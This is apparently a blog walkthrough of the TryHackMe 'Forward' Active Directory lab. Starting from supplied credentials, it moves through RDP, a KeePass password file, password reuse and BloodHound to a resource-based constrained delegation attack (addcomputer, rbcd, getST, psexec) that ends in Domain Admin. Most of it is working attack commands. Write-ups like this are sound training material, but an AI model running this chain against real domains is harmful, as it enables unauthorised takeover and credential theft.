THM- Forward

Active Directory pentesting challenge.

Challenge Link: https://tryhackme.com/room/forwardchallenge

In this lab scenario, have given one credentials of domain user j.smith, our goal is to move laterally and and gain the full control to domain by finding necessary misconfiguration and vulnerabilities, that is present in our DC.

User: j.smith
Password: JSmith@IT2024

First thing first, our favourite nmap scan to find the necessary leakage and see the open ports and services.

nmap -sC -sV -p- -T4 10.113.136.171

Note: The IP is allocated by THM and generated during the challenge, might be variable in different case

As expected in the DC environment, we see the following ports.

Let’s find out that we can do RDP in the machine or not because we have valid credentials.

nxc rdp 10.113.136.171 -u j.smith -p 'JSmith@IT2024'

This means RDP is possible and (Pwn3d!) suggests that j.smith is the local admin.

xfreerdp /v:10.113.136.171 /u:j.smith /p:'JSmith@IT2024'

Manual Enumeration

RDP the machine and do the manual enumeration.

So, we enumerate one more users:

r.williams
Administrator
krbtgt

Let’s find out what is inside in the machine, this is also one step of pentesting to dig the machine in order to find the necessary information, data, files which can reveal the hidden secrets.

Hidden Secrets left openly

While doing that, we find something interesting, the .kdbx extension file, which is the KeePass password database file, which stores credentials and its juicy and huge find from pentesting POV.

Next step is how to open the file.

Here, we have the KeePass 2 desktop app.

Open that with Windows user account, cause we are already logged in.

The user t.jones is in format of the user names of our domain controller. We can see t.jones credentials from here.

User: t.jones
Password: ***********

We will use this credentials and see whether RDP is possible or not.

This shows us that the RDP is possible.

Next step is enumerate the information of domain users.

We can see that, access is denied for t.jones but we can see r.williams information. He is the Help Desk Senior. Since, in KeePass, the Notes says “IT Help Desk ticketing system credentials”. Let’s try the same password for r.williams.

Password Reuse

First, we check with r.williams, RDP is possible or not.

So, the classic password reuse misconfiguration. This prove that they use the same password. Now, RDP with r.williams credentials.

We are now logged in as r.williams.

Get S4F4L’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

See if there is any possible delegation vulnerabilities.

 nxc ldap 10.113.136.171 -u 'r.williams' -p '************' -d 'ctf.local' --find-delegation

Collect the elements for the Bloodhound CE.

nxc ldap 10.113.136.171 --dns-server 10.113.136.171   -u 'r.williams'   -p '**********'   -d ctf.local   --bloodhound   --collection All

This commands connects to two services:

a) LDAP (389) — autenticates r.williams and query Active Directory

b) DNA (53) — resolves domain names and discovers domain controllers using DNS records

— — dns-server helps NetExec perform the necessary DNS lookups against Domain controller.

The collected output is in zip format, we can ingest this zip file in bloodhound CE.

Once we feed the file in the bloodhound CE, we can pick user r.williams and we can choose Outbound Object Control, this means the selected object (domain user here r.williams) has permission or relationships that allow it to control another Active Directory Object.

Common examples

Relationship / permission Meaning

GenericAll Broad control over the target object

GenericWrite Can modify certain properties of the target

WriteDacl Can modify the target object’s permissions

WriteOwner Can change the object’s owner

AddAllowedToAct Can configure resource-based constrained delegation (RBCD), subject to effective permissions

ForceChangePassword Can reset a user’s password without knowing the current password

This means that, r.williams can configure RBCD, i.e User has a relationship suggesting it can configure RBCD on DC01.CTF.LOCAL

If r.williams wants to configure RBCD, he may need to add a computer account to the RBCD list if an appropriate account isn’t already authorized.

addcomputer.py -computer-name 'Evil$' -computer-pass 'Password#123' -dc-ip 10.113.136.171 'ctf.local/r.williams:***********'

Configure RBCD

rbcd.py -dc-ip 10.113.136.171 -delegate-from 'Evil$' -delegate-to 'DC01$' -action 'write' 'ctf.local/r.williams:***********'

Requesting the service ticket

Requesting ST

getST.py -spn 'cifs/DC01.ctf.local' -dc-ip 10.113.136.171 -impersonate 'Administrator' 'ctf.local/Evil$:Password#123'

Now the ticket is loaded locally inside a Kerberos credential cache (.cache)

Loading the Kerberos Ticket

Now export the ticket to the KRB5CCNAME

export KRB5CCNAME=Administrator\@cifs_DC01.ctf.local\@CTF.LOCAL.ccache

We need to ensure that DC01.ctf.local resolves correctly

nano /etc/hosts
DC01.ctf.local

Autenticating as Domain Administrator.

psexec -k -no-pass ctf.local/Administrator@DC01.ctf.local

We don’t need password, we can authenticate with service ticket.

The PsExec uploads a executable to the ADMIN$ share temporarily whihc creates a temporary Windows service to execute it, and then connects us to the interactive shell.

Our Kerberos ticket represents the Administrator account, the service is created with Domain Administrator privileges, giving us complete control over the Domain Controller, hence we obtained shell as administrator.

We get the domain administrator privilege. After that we catch the flag:

C:\> C:\Users\Administrator\Desktop> type flag.txt

THM{RBCD_S4U2Pr0xy_****************}